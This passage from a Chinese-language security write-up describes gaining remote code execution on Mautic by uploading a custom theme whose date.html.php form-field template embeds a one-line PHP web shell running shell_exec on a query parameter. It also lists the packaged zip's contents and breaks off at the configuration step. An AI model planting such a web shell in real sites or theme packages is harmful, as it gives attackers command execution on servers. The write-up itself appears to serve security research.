通过自定义主题实现远程代码执行
当管理员访问一个复杂的Web应用程序时,通常会涉及到在托管应用程序的服务器上获得远程代码执行权限。对于Mautic,我们发现可以通过上传恶意的自定义主题来获得远程代码执行权限。这本身不是一个漏洞,而是应用程序中的一个可能被攻击者利用的功能,这也是很多内容管理系统中常见的攻击向量。
Mautic文档描述了一种创建包含自定义表单字段主题的方法,表单字段的描述由主题zip文件中的PHP文件给出,这是嵌入Web Shell的一个绝佳位置。
Mautic自带了几个内置主题,我们修改了GitHub中的Cards主题,并添加了一个名为date.html.php的文件,其中包含有名为“Date”的自定义字段和一个Web Shell:
<?php echo shell_exec($_GET['cmd'].' 2>&1'); echo $view->render( 'MauticFormBundle:Field:text.html.php', [ 'field' => $field, 'inForm' => (isset($inForm)) ? $inForm : false, 'type' => 'date', 'id' => $id, 'formId' => (isset($formId)) ? $formId : 0, 'formName' => (isset($formName)) ? $formName : '', ] );我们将其压缩为bad-theme.zip,其结构如下:
sh-3.2# unzip -l bad-theme.zip Archive: bad-theme.zip Length Date Time Name --------- ---------- ----- ---- 118 12-07-2020 23:10 config.json 0 12-07-2020 21:46 html/ 263 12-07-2020 21:46 html/message.html.twig 393 12-07-2020 21:46 html/base.html.twig 0 12-07-2020 22:56 html/MauticFormBundle/ 0 12-07-2020 22:56 html/MauticFormBundle/Field/ 583 12-07-2020 22:56 html/MauticFormBundle/Field/date.html.php 0 12-07-2020 21:46 html/MauticFormBundle/Builder/ 2071 12-07-2020 21:46 html/MauticFormBundle/Builder/style.html.twig 51320 12-07-2020 21:46 html/email.html.twig 44004 12-07-2020 21:46 thumbnail.png 0 12-07-2020 21:46 assets/ 2269 12-07-2020 21:46 assets/logo_black.png 141389 12-07-2020 21:46 assets/background_look.jpg 115977 12-07-2020 21:46 assets/placeholder_coffee.jpg 302632 12-07-2020 21:46 assets/placeholder_coffee.png 105452 12-07-2020 21:46 assets/background_face.jpg 1517 12-07-2020 21:46 assets/icon_social.png 0 12-07-2020 21:46 assets/open-sans/ 101756 12-07-2020 21:46 assets/open-sans/OpenSans-SemiBold.WOFF 221164 12-07-2020 21:46 assets/open-sans/OpenSans-SemiBold.ttf 97828 12-07-2020 21:46 assets/open-sans/OpenSans-SemiBoldItalic.WOFF 212760 12-07-2020 21:46 assets/open-sans/OpenSans-Italic.ttf 97180 12-07-2020 21:46 assets/open-sans/OpenSans-Italic.WOFF 212732 12-07-2020 21:46 assets/open-sans/OpenSans-SemiBoldItalic.ttf 99416 12-07-2020 21:46 assets/open-sans/OpenSans-Regular.WOFF 217276 12-07-2020 21:46 assets/open-sans/OpenSans-Regular.ttf --------- ------- 2028100 27 files为了激活主题,还需要修改Mautic主题配置以允许我们上传PHP文件: